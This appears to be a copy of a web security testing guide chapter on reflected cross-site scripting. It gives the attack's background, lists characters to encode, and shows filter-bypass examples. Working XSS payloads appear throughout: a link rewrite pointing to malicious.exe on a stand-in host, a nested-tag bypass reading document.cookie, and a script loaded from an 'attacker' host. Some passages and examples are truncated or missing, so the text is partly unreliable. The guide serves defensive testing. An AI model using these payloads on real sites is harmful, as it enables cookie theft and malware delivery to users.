4.7.1-Testing_for_Reflected_Cross_Site_Scripting

Testing for Reflected Cross Site Scripting

Summary

Reflected Cross-site Scripting (XSS) occurs when an attacker injects browser executable code within a single HTTP response. The injected attack is not stored within the application itself; it is non-persistent and only impacts users who open a maliciously crafted link or third -party web page. The attack string is included as part of the crafted URI or HTTP parameters, improperly processed by the application, and returned to the victim.

Reflected XSS are the most frequent type of XSS attacks found in the wild. Reflected XSS attacks are also known as non-persistent XSS attacks and, since the attack payload is delivered and executed via a single request and response, they are also referred to as first-order or type 1 XSS.

When a web application is vulnerable to this type of attack, it will pass unvalidated input sent through requests back to the client. The common modus operandi of the attack includes a design step, in which the attacker creates and tests an offending URI, a social engineering step, in which she convinces her victims to load this URI on their browsers, and the eventual execution of the offending code using the victim’s browser.

Commonly the attacker’s code is written in the JavaScript language, but other scripting languages are also used, e.g., ActionScript and VBScript. Attackers typically leverage these vulnerabilities to install key loggers, steal victim cookies, perform clipboard theft, and change the content of the page (e.g., download links).

One of the primary difficulties in preventing XSS vulnerabilities is proper character encoding. In some cases, the web server or the web application could not be filtering some encodings of characters, so, for example, the web application might filter out

For a comprehensive list of potential test strings see the XSS Filter Evasion Cheat Sheet.

Check Impact

For each test input attempted in the previous phase, the tester will analyze the result and determine if it represents a vulnerability that has a realistic impact on the web application's security. This requires examining the resulting web page HTML and searching for the test input. Once found, the tester identifies any special characters that were not properly encoded, replaced, or filtered out. The set of vulnerable unfiltered special characters will depend on the context of that section of HTML.

Ideally all HTML special characters will be replaced with HTML entities. The key HTML entities to identify are:

• > (greater than)
• < (less than)
• & amp; (ampersand)
• ' (apostrophe or single quote)
• " (double quote)

However, a full list of entities is defined by the HTML and XML specifications. Wikipedia has a complete reference.

Within the context of an HTML action or JavaScript code, a different set of special characters will need to be escaped, encoded, replaced, or filtered out. These characters include:

• \\
(new line)
• \r (carriage return)
• ' (apostrophe or single quote)
• " (double quote)
• \ (backslash)
• \uXXXX (unicode values)

For a more complete reference, see the Mozilla JavaScript guide.

Example 1

For example, consider a site that has a welcome notice Welcome %username% and a download link.

Figure 4.7.1-1: XSS Example 1

The tester must suspect that every data entry point can result in an XSS attack. To analyze it, the tester will play with the user variable and try to trigger the vulnerability.

Let’s try to click on the following link and see what happens:

http://example.com/index.php?user=<script>alert(123)</script>

If no sanitization is applied this will result in the following popup:

Figure 4.7.1-2: XSS Example 1

This indicates that there is an XSS vulnerability and it appears that the tester can execute code of his choice in anybody’s browser if he clicks on the tester’s link.

Example 2

Let’s try other piece of code (link):

http://example.com/index.php?user=<script>window.onload = function() {var AllLinks=document.getElementsByTagName("a");AllLinks[0].href = \ "http://badexample.com/malicious.exe";}</script>

This produces the following behavior:

Figure 4.7.1-3: XSS Example 2

This will cause the user, clicking on the link supplied by the tester, to download the file malicious.exe from a site they control.

Bypass XSS Filters

Reflected cross-site scripting attacks are prevented as the web application sanitizes input, a web application firewall blocks malicious input, or by mechanisms embedded in modern web browsers. The tester must test for vulnerabilities assuming that web browsers will not prevent the attack. Browsers may be out of date, or have built-in security features disabled. Similarly, web application firewalls are not guaranteed to recognize novel, unknown attacks. An attacker could craft an attack string that is unrecognized by the web application firewall.

Thus, the majority of XSS prevention must depend on the web application's sanitization of untrusted user input. There are several mechanisms available to developers for sanitization, such as returning an error, removing, encoding, or replacing invalid input. The means by which the application detects and corrects invalid input is another primary weakness in preventing XSS. A deny list may not include all possible attack strings, an allow list may be overly permissive, the sanitization could fail, or a type of input may be incorrectly trusted and remain unsanitized. All of these allow attackers to circumvent XSS filters.

The XSS Filter Evasion Cheat Sheet documents common filter evasion tests.

Example 3: Tag Attribute Value

Since these filters are based on a deny list, they could not block every type of expressions. In fact, there are cases in which an XSS exploit can be carried out without the use of

Example 5: Bypassing Non-Recursive Filtering

Sometimes the sanitization is applied only once and it is not being performed recursively. In this case the attacker can beat the filter by sending a string containing multiple attempts, like this one:

<scr<script>ipt>alert(document.cookie)</script>

Example 6: Including External Script

Now suppose that developers of the target site implemented the following code to protect the input from the inclusion of external script:

<?
    $re = "/<script[^>] + src/i";

    if (preg_match($re, $_GET['var']))
    {<!-- -->
        echo "Filtered";
        return;
    }
    echo "Welcome ".$_GET['var']." !";
?>

Decoupling the above regular expression:

1. Check for a
2. Check for a " " (white space)
3. Any character but the character > for one or more occurrences
4. Check for a src

http://example/?var=<SCRIPT a=">" SRC="http://attacker/xss.js"></SCRIPT>

http://example/page.php?param=<script>[...]</script>

http://example/page.php?param=<script & amp;param=>[...]</ & amp;param=script>